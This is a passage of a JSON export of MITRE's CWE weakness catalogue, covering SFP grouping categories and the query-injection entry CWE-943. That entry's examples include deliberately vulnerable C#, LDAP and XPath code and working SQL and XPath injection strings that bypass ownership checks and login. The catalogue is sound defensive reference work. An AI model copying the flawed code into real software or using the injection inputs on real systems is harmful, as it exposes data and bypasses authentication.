Causal_Nature, Modes_of_Introduction, References, Relationships, Taxonomy_Mappings"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2019-01-03", "Modification_Version": "3.2", "Modification_ReleaseDate": "2019-01-03", "Modification_Comment": "updated Taxonomy_Mappings"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2019-06-20", "Modification_Version": "3.3", "Modification_ReleaseDate": "2019-06-20", "Modification_Comment": "updated Type"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Potential_Mitigations, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-06-25", "Modification_Version": "4.1", "Modification_ReleaseDate": "2020-06-25", "Modification_Comment": "updated Potential_Mitigations"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-03-15", "Modification_Version": "4.4", "Modification_ReleaseDate": "2021-03-15", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-10-28", "Modification_Version": "4.6", "Modification_ReleaseDate": "2021-10-28", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2022-04-28", "Modification_Version": "4.7", "Modification_ReleaseDate": "2022-04-28", "Modification_Comment": "updated Research_Gaps"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2022-06-28", "Modification_Version": "4.8", "Modification_ReleaseDate": "2022-06-28", "Modification_Comment": "updated Observed_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2022-10-13", "Modification_Version": "4.9", "Modification_ReleaseDate": "2022-10-13", "Modification_Comment": "updated Observed_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-01-31", "Modification_Version": "4.10", "Modification_ReleaseDate": "2023-01-31", "Modification_Comment": "updated Demonstrative_Examples, Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Demonstrative_Examples, Detection_Factors, Relationships, Time_of_Introduction"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2024-02-29", "Modification_Version": "4.14", "Modification_ReleaseDate": "2024-02-29", "Modification_Comment": "updated Demonstrative_Examples, Potential_Mitigations, References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2024-07-16", "Modification_Version": "4.15", "Modification_ReleaseDate": "2024-07-16", "Modification_Comment": "updated Applicable_Platforms, Observed_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-04-03", "Modification_Version": "4.17", "Modification_ReleaseDate": "2025-04-03", "Modification_Comment": "updated Common_Consequences, Description, Diagram"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-12-11", "Modification_Version": "4.19", "Modification_ReleaseDate": "2025-12-11", "Modification_Comment": "updated Demonstrative_Examples, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-04-30", "Modification_Version": "4.20", "Modification_ReleaseDate": "2026-04-30", "Modification_Comment": "updated Applicable_Platforms, Potential_Mitigations, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Alternate_Terms, Name, Observed_Examples"}], "Previous_Entry_Name": [{"@Date": "2008-04-11", "#text": "Direct Dynamic Code Evaluation ('Eval Injection')"}, {"@Date": "2009-05-27", "#text": "Insufficient Control of Directives in Dynamically Evaluated Code (aka 'Eval Injection')"}, {"@Date": "2010-06-21", "#text": "Improper Sanitization of Directives in Dynamically Evaluated Code ('Eval Injection')"}, {"@Date": "2026-10-28", "#text": "Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"}]}, "entry_type": "Weakness", "ranking": 261.0}, {"@ID": "949", "@Name": "SFP Secondary Cluster: Faulty Endpoint Authentication", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Faulty Endpoint Authentication cluster (SFP29).", "Relationships": {"Has_Member": [{"@CWE_ID": "293", "@View_ID": "888"}, {"@CWE_ID": "302", "@View_ID": "888"}, {"@CWE_ID": "345", "@View_ID": "888"}, {"@CWE_ID": "346", "@View_ID": "888"}, {"@CWE_ID": "350", "@View_ID": "888"}, {"@CWE_ID": "360", "@View_ID": "888"}, {"@CWE_ID": "551", "@View_ID": "888"}, {"@CWE_ID": "565", "@View_ID": "888"}, {"@CWE_ID": "647", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "948", "@Name": "SFP Secondary Cluster: Digital Certificate", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Digital Certificate cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "296", "@View_ID": "888"}, {"@CWE_ID": "297", "@View_ID": "888"}, {"@CWE_ID": "298", "@View_ID": "888"}, {"@CWE_ID": "299", "@View_ID": "888"}, {"@CWE_ID": "593", "@View_ID": "888"}, {"@CWE_ID": "599", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "947", "@Name": "SFP Secondary Cluster: Authentication Bypass", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Authentication Bypass cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "287", "@View_ID": "888"}, {"@CWE_ID": "288", "@View_ID": "888"}, {"@CWE_ID": "289", "@View_ID": "888"}, {"@CWE_ID": "303", "@View_ID": "888"}, {"@CWE_ID": "304", "@View_ID": "888"}, {"@CWE_ID": "305", "@View_ID": "888"}, {"@CWE_ID": "308", "@View_ID": "888"}, {"@CWE_ID": "309", "@View_ID": "888"}, {"@CWE_ID": "603", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-05-03", "Modification_Version": "2.11", "Modification_ReleaseDate": "2017-05-05", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "946", "@Name": "SFP Secondary Cluster: Insecure Resource Permissions", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Insecure Resource Permissions cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "276", "@View_ID": "888"}, {"@CWE_ID": "277", "@View_ID": "888"}, {"@CWE_ID": "278", "@View_ID": "888"}, {"@CWE_ID": "279", "@View_ID": "888"}, {"@CWE_ID": "281", "@View_ID": "888"}, {"@CWE_ID": "560", "@View_ID": "888"}, {"@CWE_ID": "732", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "945", "@Name": "SFP Secondary Cluster: Insecure Resource Access", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Insecure Resource Access cluster (SFP35).", "Relationships": {"Has_Member": [{"@CWE_ID": "285", "@View_ID": "888"}, {"@CWE_ID": "424", "@View_ID": "888"}, {"@CWE_ID": "639", "@View_ID": "888"}, {"@CWE_ID": "650", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "944", "@Name": "SFP Secondary Cluster: Access Management", "@Status": "Incomplete", "Summary": "This category identifies Software Fault Patterns (SFPs) within the Access Management cluster.", "Relationships": {"Has_Member": [{"@CWE_ID": "282", "@View_ID": "888"}, {"@CWE_ID": "283", "@View_ID": "888"}, {"@CWE_ID": "284", "@View_ID": "888"}, {"@CWE_ID": "286", "@View_ID": "888"}, {"@CWE_ID": "708", "@View_ID": "888"}]}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-07-29", "Submission_Version": "2.8", "Submission_ReleaseDate": "2014-07-31"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "943", "@Name": "Improper Neutralization of Special Elements in Data Query Logic", "@Abstraction": "Class", "@Structure": "Simple", "@Status": "Incomplete", "Description": "The product generates a query intended to access or manipulate data in a data store such as a database, but it does not neutralize or incorrectly neutralizes special elements that can modify the intended logic of the query.", "Technical_Nuance": {"xhtml:p": "While this weakness is most commonly associated with SQL injection, there are many other query languages that are also subject to injection attacks, including HTSQL, LDAP, DQL, XQuery, Xpath, and \"NoSQL\" languages.", "#text_blocks": ["While this weakness is most commonly associated with SQL injection, there are many other query languages that are also subject to injection attacks, including HTSQL, LDAP, DQL, XQuery, Xpath, and \"NoSQL\" languages."]}, "Dimensions": {"Dimension": [{"@Type": "Behavior-Property", "#text": "Improper"}, {"@Type": "Behavior-Type", "#text": "Neutralization"}, {"@Type": "Input-Type", "#text": "Special Elements"}, {"@Type": "Other", "#text": "Data Query Logic"}]}, "Related_Weaknesses": {"Related_Weakness": [{"@Nature": "ChildOf", "@CWE_ID": "74", "@View_ID": "1000", "@Ordinal": "Primary", "Dimensions": {"Dimension": {"@Type": "Other", "#text": "Data Query Logic"}}}]}, "Weakness_Ordinalities": {"Weakness_Ordinality": {"Ordinality": "Primary"}}, "Applicable_Platforms": {"Language": {"@Class": "Not Language-Specific", "@Prevalence": "Undetermined"}}, "Alternate_Terms": {"Alternate_Term": {"Term": "NoSQL Injection, NoSQLi", "Description": "Injection of data query language into NoSQL databases such as Cassandra, ElasticSearch, MongoDB, Redis, and others"}}, "Modes_Of_Introduction": {"Introduction": {"Phase": "Implementation", "Note": "REALIZATION: This weakness is caused during implementation of an architectural security tactic."}}, "Common_Consequences": {"Consequence": {"Scope": ["Confidentiality", "Integrity", "Availability", "Access Control"], "Impact": ["Bypass Protection Mechanism", "Read Application Data", "Modify Application Data", "Varies by Context"], "Note": {"xhtml:p": ["Depending on the capabilities of the query language, an attacker could inject additional logic into the query to:", "The ability to execute additional commands or change which entities are returned has obvious risks. But when the product logic depends on the order or number of entities, this can also lead to vulnerabilities. For example, if the query expects to return only one entity that specifies an administrative user, but an attacker can change which entities are returned, this could cause the logic to return information for a regular user and incorrectly assume that the user has administrative privileges."], "xhtml:ul": {"xhtml:li": ["Modify the intended selection criteria, thus changing which data entities (e.g., records) are returned, modified, or otherwise manipulated", "Append additional commands to the query", "Return more entities than intended", "Return fewer entities than intended", "Cause entities to be sorted in an unexpected way"]}, "#text_blocks": ["Depending on the capabilities of the query language, an attacker could inject additional logic into the query to:", "Modify the intended selection criteria, thus changing which data entities (e.g., records) are returned, modified, or otherwise manipulated", "Append additional commands to the query", "Return more entities than intended", "Return fewer entities than intended", "Cause entities to be sorted in an unexpected way", "The ability to execute additional commands or change which entities are returned has obvious risks. But when the product logic depends on the order or number of entities, this can also lead to vulnerabilities. For example, if the query expects to return only one entity that specifies an administrative user, but an attacker can change which entities are returned, this could cause the logic to return information for a regular user and incorrectly assume that the user has administrative privileges."]}}}, "Detection_Methods": {"Detection_Method": {"@Detection_Method_ID": "DM-14", "Method": "Automated Static Analysis", "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "Effectiveness": "High"}}, "Demonstrative_Examples": {"Demonstrative_Example": [{"@Demonstrative_Example_ID": "DX-209", "Intro_Text": "The following code dynamically constructs and executes a SQL query that searches for items matching a specified name. The query restricts the items displayed to those where owner matches the user name of the currently-authenticated user.", "Example_Code": [{"@Nature": "Bad", "@Language": "C#", "xhtml:div": {"xhtml:br": [null, null, null, null, null, null], "#text": "...string userName = ctx.getAuthenticatedUserName();string query = \"SELECT * FROM items WHERE owner = '\" + userName + \"' AND itemname = '\" + ItemName.Text + \"'\";sda = new SqlDataAdapter(query, conn);DataTable dt = new DataTable();sda.Fill(dt);..."}, "#text_blocks": ["...", "string userName = ctx.getAuthenticatedUserName();", "string query = \"SELECT * FROM items WHERE owner = '\" + userName + \"' AND itemname = '\" + ItemName.Text + \"'\";", "sda = new SqlDataAdapter(query, conn);", "DataTable dt = new DataTable();", "sda.Fill(dt);", "..."]}, {"@Nature": "Informative", "xhtml:div": "SELECT * FROM items WHERE owner = <userName> AND itemname = <itemName>;", "#text_blocks": ["SELECT * FROM items WHERE owner = <userName> AND itemname = <itemName>;"]}, {"@Nature": "Attack", "xhtml:div": "name' OR 'a'='a", "#text_blocks": ["name' OR 'a'='a"]}, {"@Nature": "Attack", "xhtml:div": "SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name' OR 'a'='a';", "#text_blocks": ["SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name' OR 'a'='a';"]}, {"@Nature": "Attack", "xhtml:div": "OR 'a'='a", "#text_blocks": ["OR 'a'='a"]}, {"@Nature": "Attack", "xhtml:div": "SELECT * FROM items;", "#text_blocks": ["SELECT * FROM items;"]}], "Body_Text": ["The query that this code intends to execute follows:", "However, because the query is constructed dynamically by concatenating a constant base query string and a user input string, the query only behaves correctly if itemName does not contain a single-quote character. If an attacker with the user name wiley enters the string:", "for itemName, then the query becomes the following:", "The addition of the:", "condition causes the WHERE clause to always evaluate to true, so the query becomes logically equivalent to the much simpler query:", "This simplification of the query allows the attacker to bypass the requirement that the query only return items owned by the authenticated user; the query now returns all entries stored in the items table, regardless of their specified owner."]}, {"@Demonstrative_Example_ID": "DX-210", "Intro_Text": "The code below constructs an LDAP query using user input address data:", "Example_Code": {"@Nature": "Bad", "@Language": "Java", "xhtml:div": {"xhtml:br": [null, null], "#text": "context = new InitialDirContext(env);String searchFilter = \"StreetAddress=\" + address;NamingEnumeration answer = context.search(searchBase, searchFilter, searchCtls);"}, "#text_blocks": ["context = new InitialDirContext(env);", "String searchFilter = \"StreetAddress=\" + address;", "NamingEnumeration answer = context.search(searchBase, searchFilter, searchCtls);"]}, "Body_Text": "Because the code fails to neutralize the address string used to construct the query, an attacker can supply an address that includes additional LDAP queries."}, {"@Demonstrative_Example_ID": "DX-211", "Intro_Text": "Consider the following simple XML document that stores authentication information and a snippet of Java code that uses XPath query to retrieve authentication information:", "Example_Code": [{"@Nature": "Informative", "@Language": "XML", "xhtml:div": {"xhtml:div": {"@style": "margin-left:1em;", "xhtml:div": [{"@style": "margin-left:1em;", "xhtml:br": [null, null], "#text": "<login>john</login><password>abracadabra</password><home_dir>/home/john</home_dir>"}, {"@style": "margin-left:1em;", "xhtml:br": [null, null], "#text": "<login>cbc</login><password>1mgr8</password><home_dir>/home/cbc</home_dir>"}], "xhtml:br": null, "#text": "<user></user><user></user>"}, "#text": "<users></users>"}, "#text_blocks": ["<users>", "<user>", "<login>john</login>", "<password>abracadabra</password>", "<home_dir>/home/john</home_dir>", "</user>", "<user>", "<login>cbc</login>", "<password>1mgr8</password>", "<home_dir>/home/cbc</home_dir>", "</user>", "</users>"]}, {"@Nature": "Bad", "@Language": "Java", "xhtml:div": {"xhtml:br": [null, null, null], "#text": "XPath xpath = XPathFactory.newInstance().newXPath();XPathExpression xlogin = xpath.compile(\"//users/user[login/text()='\" + login.getUserName() + \"' and password/text() = '\" + login.getPassword() + \"']/home_dir/text()\");Document d = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new File(\"db.xml\"));String homedir = xlogin.evaluate(d);"}, "#text_blocks": ["XPath xpath = XPathFactory.newInstance().newXPath();", "XPathExpression xlogin = xpath.compile(\"//users/user[login/text()='\" + login.getUserName() + \"' and password/text() = '\" + login.getPassword() + \"']/home_dir/text()\");", "Document d = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(new File(\"db.xml\"));", "String homedir = xlogin.evaluate(d);"]}, {"@Nature": "Attack", "xhtml:div": "//users/user[login/text()='john' or ''='' and password/text() = '' or ''='']/home_dir/text()", "#text_blocks": ["//users/user[login/text()='john' or ''='' and password/text() = '' or ''='']/home_dir/text()"]}], "Body_Text": ["The Java code used to retrieve the home directory based on the provided credentials is:", "Assume that user \"john\" wishes to leverage XPath Injection and login without a valid password. By providing a username \"john\" and password \"' or ''='\" the XPath expression now becomes", "This lets user \"john\" login without a valid password, thus bypassing authentication."]}]}, "Observed_Examples": {"Observed_Example": [{"Reference": "CVE-2024-50672", "Description": "NoSQL injection in product for building eLearning courses allows password resets using a query processed by the Mongoose find function", "Link": "https://www.cve.org/CVERecord?id=CVE-2024-50672"}, {"Reference": "CVE-2021-20736", "Description": "NoSQL injection in team collaboration product", "Link": "https://www.cve.org/CVERecord?id=CVE-2021-20736"}, {"Reference": "CVE-2020-35666", "Description": "NoSQL injection in a PaaS platform using a MongoDB operator", "Link": "https://www.cve.org/CVERecord?id=CVE-2020-35666"}, {"Reference": "CVE-2014-2503", "Description": "Injection using Documentum Query Language (DQL)", "Link": "https://www.cve.org/CVERecord?id=CVE-2014-2503"}, {"Reference": "CVE-2014-2508", "Description": "Injection using Documentum Query Language (DQL)", "Link": "https://www.cve.org/CVERecord?id=CVE-2014-2508"}]}, "Related_Attack_Patterns": {"Related_Attack_Pattern": {"@CAPEC_ID": "676"}}, "References": {"Reference": [{"@External_Reference_ID": "REF-1454"}, {"@External_Reference_ID": "REF-1455"}]}, "Mapping_Notes": {"Usage": "Allowed-with-Review", "Rationale": "This CWE entry is a Class and might have Base-level children that would be more appropriate", "Comments": "Examine children of this entry to see if there is a better fit", "Reasons": {"Reason": {"@Type": "Abstraction"}}}, "Notes": {"Note": {"@Type": "Relationship", "#text": "It could be argued that data query languages are effectively a command language - albeit with a limited set of commands - and thus any query-language injection issue could be treated as a child of CWE-74. However, CWE-943 is intended to better organize query-oriented issues to separate them from fully-functioning programming languages, and also to provide a more precise identifier for the many query languages that do not have their own CWE identifier."}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2014-06-19", "Submission_Version": "2.7", "Submission_ReleaseDate": "2014-06-23"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2015-12-07", "Modification_Version": "2.9", "Modification_ReleaseDate": "2015-12-07", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2017-11-08", "Modification_Version": "3.0", "Modification_ReleaseDate": "2017-11-08", "Modification_Comment": "updated Modes_of_Introduction, Observed_Examples, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2018-03-27", "Modification_Version": "3.1", "Modification_ReleaseDate": "2018-03-27", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2019-06-20", "Modification_Version": "3.3", "Modification_ReleaseDate": "2019-06-20", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2020-02-24", "Modification_Version": "4.0", "Modification_ReleaseDate": "2020-02-24", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-03-15", "Modification_Version": "4.4", "Modification_ReleaseDate": "2021-03-15", "Modification_Comment": "updated Maintenance_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2022-04-28", "Modification_Version": "4.7", "Modification_ReleaseDate": "2022-04-28", "Modification_Comment": "updated Related_Attack_Patterns"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-01-31", "Modification_Version": "4.10", "Modification_ReleaseDate": "2023-01-31", "Modification_Comment": "updated Description"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Detection_Factors, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2024-02-29", "Modification_Version": "4.14", "Modification_ReleaseDate": "2024-02-29", "Modification_Comment": "updated Demonstrative_Examples"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-04-03", "Modification_Version": "4.17", "Modification_ReleaseDate": "2025-04-03", "Modification_Comment": "updated Alternate_Terms, Observed_Examples, References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-12-11", "Modification_Version": "4.19", "Modification_ReleaseDate": "2025-12-11", "Modification_Comment": "updated Weakness_Ordinalities"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Common_Consequences, Description, Dimensions, Technical_Nuance"}]}, "entry_type": "Weakness", "ranking": 112.0}, {"@ID": "942", "@Name": "Permissive Cross-domain Security Policy with Untrusted Domains", "@Abstraction": "Variant", "@Structure": "Simple", "@Status": "Incomplete", "Description": "The product uses a web-client protection\n         mechanism such as a Content Security Policy (CSP) or\n         cross-domain policy file, but the policy includes untrusted\n         domains with which the web client is allowed to\n         communicate.", "Related_Weaknesses": {"Related_Weakness": [{"@Nature": "ChildOf", "@CWE_ID": "863", "@View_ID": "1000", "@Ordinal": "Primary"}, {"@Nature": "ChildOf", "@CWE_ID": "923", "@View_ID": "1000"}, {"@Nature": "ChildOf", "@CWE_ID": "183", "@View_ID": "1000"}, {"@Nature": "CanPrecede", "@CWE_ID": "668", "@View_ID": "1000"}]}, "Weakness_Ordinalities": {"Weakness_Ordinality": {"Ordinality": "Primary"}}, "Applicable_Platforms": {"Language": {"@Class": "Not Language-Specific", "@Prevalence": "Undetermined"}, "Technology": [{"@Class": "Web Based", "@Prevalence": "Undetermined"}, {"@Name": "Web Server", "@Prevalence": "Undetermined"}]}, "Background_Details": {"Background_Detail": 